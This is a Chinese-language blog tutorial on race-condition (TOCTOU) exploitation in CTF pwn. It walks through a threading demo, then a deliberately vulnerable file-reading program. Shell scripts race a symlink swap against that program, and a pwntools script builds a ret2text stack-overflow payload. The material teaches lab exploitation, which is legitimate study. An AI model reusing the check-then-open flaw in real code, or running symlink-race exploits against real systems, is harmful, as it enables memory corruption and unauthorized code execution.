Pwn 竞争冒险初探

竞争冒险Race Condition, 又叫竞争条件. 最初源自逻辑电路中两个电信号的竞争. 由于你电计科数电不讲这玩意, 所以我也不知道是啥. 在后来的计算机软件中, 由于并行进程访问同一个资源也可能造成竞争性的冲突, 这个词也就沿用了下来.

学过操作系统的都知道, 如果两个并行的进程或线程对同一个资源的访问不是原子的, 那么就很可能出现意想不到的情况. 比如下面这个简单的例子:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
int shared;

void* thread1() {
  while (1) {
    shared = 1;
    printf("thread1: %d\n", shared);
  }
}
void* thread2() {
  while (1) {
    shared = 2;
    printf("thread2: %d\n", shared);
  }
}

int main() {
  pthread_t t1, t2;
  pthread_create(&t1, NULL, thread1, NULL);
  pthread_create(&t2, NULL, thread2, NULL);
  sleep(5);
  return 0;
}

“理论上” 来说, 输出只可能是 thread1: 1 或者 thread2: 2, 但我们把它编译运行, 看一看结果:

输出结果
输出结果

可以看到, 程序输出了若干条不符合我们预期的结果. 这就是简单的一个竞争冒险的例子.

为什么会出现这样的情况呢? 原因在于两个线程对同一个资源进行了操作, 且 “赋值并输出” 这一整个操作不是 “原子” 操作. 当 thread1 运行完 shared = 1;, thread2 恰巧运行了 shared = 2;, 然后 thread 1 在输出的时候, 就会变成 printf("thread1: %d", 2);.

既然存在竞争冒险的行为是不安全的, 那我们能否利用它呢? 答案是肯定的. 下面以 CTF Wiki 上的例子来说明如何利用 (有修改).

考虑下面这样的程序:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void backdoor() { write(1, "hacked!\n", 8); }
void vuln(char *file, char *buf) {
  int number;
  int index = 0;
  int fd = open(file, O_RDONLY);
  if (fd == -1) {
    perror("open file failed!!");
    return;
  }
  while (1) {
    number = read(fd, buf + index, 128);
    if (number <= 0) {
      break;
    }
    index += number;
  }
  buf[index + 1] = '\x00';
}
void check(char *file) {
  struct stat tmp;
  if (strcmp(file, "flag") == 0) {
    puts("file can not be flag!!");
    exit(0);
  }
  stat(file, &tmp);
  if (tmp.st_size > 255) {
    puts("file size is too large!!");
    exit(0);
  }
}
int main(int argc, char *argv[argc]) {
  char buf[256];
  if (argc == 2) {
    check(argv[1]);
    vuln(argv[1], buf);
  } else {
    puts("Usage ./prog <filename>");
  }
  return 0;
}

这个程序的功能是读取一个不大于 256 字节的文件. 其中, check 函数检查大小, 通过检查以后在 vuln 函数中打开文件并读取到 buf 中. 注意到, 检查文件大小到打开文件这一整个操作, 不是 “原子” 的, 或者说得更通俗一点, 没有对文件加锁. 如果在检查通过之后, 打开文件之前, 文件改变了, 那么就有可能读取更多的字节到 buf 上, 从而造成栈溢出.

首先, 我们用 -fno-stack-protector-fno-pie -fno-pic -no-pie 选项编译这个程序, 即关闭 canary 和 PIE. 然后我们写两个脚本, 一个用于运行程序, 一个用于改变文件, 尝试造成竞争冒险.

1
2
3
4
5
#!/bin/sh
for i in `seq 3000`
do
    ./test fake
done
1
2
3
4
5
6
7
8
#!/bin/sh
for i in `seq 1000`
do
    echo something_less_than_256_bytes > fake
    rm fake
    ln -s payload fake
    rm fake
done

其中, payload 是能够 ret2text 到 backdoor 函数的文件, 生成脚本如下:

1
2
3
4
from pwn import *
test = ELF('./test')
payload = b'a' * 0x100 + b'b' * 8 + p64(test.symbols['backdoor'])
open('payload', 'wb').write(payload)

这个地方使用软链接而不 copy 的原因在于, copy 需要读和写, 耗时较多, 而软链接很快. 如果无论如何也不能在 检查通过后, 到文件读取前这段时间 内不能改变文件 (比如 copy 耗时比这段时间长), 那么就无法造成竞争冒险了.

我们并行运行这两个脚本, 查看输出. 这里并行用了一个小技巧, 即把一个程序放到后台 (命令后加 &), 然后用 && 连接符连接两个命令:

竞争冒险攻击
竞争冒险攻击

可以看到, 我们成功进行了栈溢出并 ret2text.

疑惑
输出里还能够看到段错误, 太菜了暂时没理解为什么.